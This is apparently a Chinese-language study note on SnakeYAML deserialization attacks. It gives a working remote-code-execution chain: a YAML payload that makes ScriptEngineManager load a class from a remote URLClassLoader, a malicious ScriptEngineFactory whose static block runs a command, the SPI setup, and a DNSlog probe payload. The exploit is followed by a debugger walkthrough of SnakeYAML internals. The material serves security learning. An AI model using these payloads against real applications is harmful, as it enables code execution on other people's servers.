和jackson类似,利用链有很多种,选择其中典型的和特殊的学习,别的只记下POC了。
需要利用到SPI的知识,建议学过SPI之后再来理解。
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:39876/"]]]]
先写个Poc类:
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class Poc implements ScriptEngineFactory {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
编译之后在和Poc.class这个目录中创建META-INF/services/javax.script.ScriptEngineFactory
,里面写:
Poc
然后攻击:
String s = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:39876/\"]]]]";
Yaml yaml = new Yaml();
User user = yaml.load(s);
打断点之后分析,总的流程之前之前调试过了也都知道,看看具体细节上的不同。
在这里根据参数的数量查找可能匹配的构造器:
POC的那种传参方式是要把!!java.net.URLClassLoader
作为参数调用ScriptEngineManager
的构造器了。
然后递归进行:
for (Node argumentNode : snode.getValue()) {
Class<?> type = c.getParameterTypes()[index];
// set runtime classes for arguments
argumentNode.setType(type);
argumentList[index++] = constructObject(argumentNode);
}
对作为参数传递的那个对象进行解析,这样依次又解析到了!!java.net.URL
,依次类推。
解析完内部参数之后,跳出进行newInstance
try {
c.setAccessible(true);
return c.newInstance(argumentList);
最后调用的是这个构造器:
public ScriptEngineManager(ClassLoader loader) {
init(loader);
}
loader
就是我们传入解析而得的URLClassLoader
:
进入init()
,再进入initEngines()
,看到这熟悉的代码:
在这里:
根据itr
来加载响应的SPI实现类,itr
的Loader是我们设置的那个URLClassLoader,所以寻找SPI机制中的实现类和services文件夹下的文件都是在指定的URL下寻找的。
itr.next()
之前分析SPI的时候也提到了会反射调用来实例化,所以恶意代码写在static里面可以执行,导致rce。
String poc = "[!!判断的类全类名 []: 0, !!java.net.URL [null, \"http://ixvoxg.dnslog.cn\"]: 1]";
跟fastjson还有jackson也不会有太大的差别。直接参考网上的即可。